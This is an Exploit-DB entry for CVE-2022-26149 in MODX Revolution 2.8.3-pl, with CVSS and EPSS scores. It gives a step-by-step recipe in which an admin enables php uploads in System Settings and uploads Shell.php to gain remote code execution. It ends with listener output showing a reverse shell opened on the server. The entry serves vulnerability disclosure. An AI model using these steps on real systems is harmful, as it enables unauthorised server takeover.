Lucene search

Sarang TumneEDB-ID:51059

HistoryMar 25, 2023 - 12:00 a.m.

MODX Revolution v2.8.3-pl - Authenticated Remote Code Execution

2023-03-2500:00:00

Sarang Tumne

www.exploit-db.com

modx revolution

authenticated

remote code execution

cve-2022-26149

uploadable file types

media browser

system settings

shell.php

6.5 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P

7.2 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

HIGH

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

7 High

AI Score

Confidence

High

0.017 Low

EPSS

Percentile

87.9%

JSON

# Exploit Title: MODX Revolution v2.8.3-pl - Authenticated Remote Code Execution
# Exploit Author: Sarang Tumne @CyberInsane (Twitter: @thecyberinsane) 
# Date: 26th Feb'2022
# CVE ID: CVE-2022-26149
# Confirmed on release 2.8.3-pl
# Reference: https://github.com/sartlabs/0days/blob/main/Modx/Exploit.txt
# Vendor: https://modx.com/download

###############################################
#Step1- Login with Admin Credentials
#Step2- Uploading .php files is disabled by default hence we need to abuse the functionality:
        Add the php file extension under the "Uploadable File Types" option available in "System Settings" 
#Step3- Now Goto Media=>Media Browser and upload the Shell.php
#Step4- Now visit http://IP_Address/Shell.php and get the reverse shell:

listening on [any] 4477 ...
connect to [192.168.56.1] from (UNKNOWN) [192.168.56.130] 58056
bash: cannot set terminal process group (1445): Inappropriate ioctl for device
bash: no job control in this shell
daemon@debian:/opt/bitnami/modx$